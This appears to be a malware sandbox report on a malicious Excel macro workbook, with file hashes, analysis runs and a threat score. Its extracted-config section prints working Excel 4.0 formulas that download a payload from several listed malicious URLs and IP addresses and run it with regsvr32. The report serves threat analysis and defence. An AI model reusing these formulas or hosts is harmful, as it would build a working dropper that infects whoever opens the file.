Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09
-
Size
51KB
-
Sample
241111-zzqq1awhpa
-
MD5
d61f427d8e9d227b50941c420ac9a12d
-
SHA1
5a184cef2a24e6e8824f1d23bff5514352a8356d
-
SHA256
6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09
-
SHA512
d72ce197aade512436116931cae3124db787d302ecf2a2a1f603a53c3b5420767e5eb9a9deeaf07983bfd93abd8bb95e906015c064c8c70a5c95f89164ac23d4
-
SSDEEP
768:aICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:aItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm
Behavioral task
behavioral1
Sample
6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09.xlsm
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/
http://henrysfreshroast.com/0Rq5zobAZB/
http://185.210.144.149/app/1BKfC3id6jsiH0MC/
http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/
http://45.76.178.115/sample_sticker/tihOPhaF1l0V/
http://abinsk.com/cgi-bin/fm63rXkG5Y/
http://academicinst.com/wp-includes/44ZVeVQBkeOG/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()
Extracted
http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/
Targets
-
-
Target
6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09
-
Size
51KB
-
MD5
d61f427d8e9d227b50941c420ac9a12d
-
SHA1
5a184cef2a24e6e8824f1d23bff5514352a8356d
-
SHA256
6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09
-
SHA512
d72ce197aade512436116931cae3124db787d302ecf2a2a1f603a53c3b5420767e5eb9a9deeaf07983bfd93abd8bb95e906015c064c8c70a5c95f89164ac23d4
-
SSDEEP
768:aICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:aItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-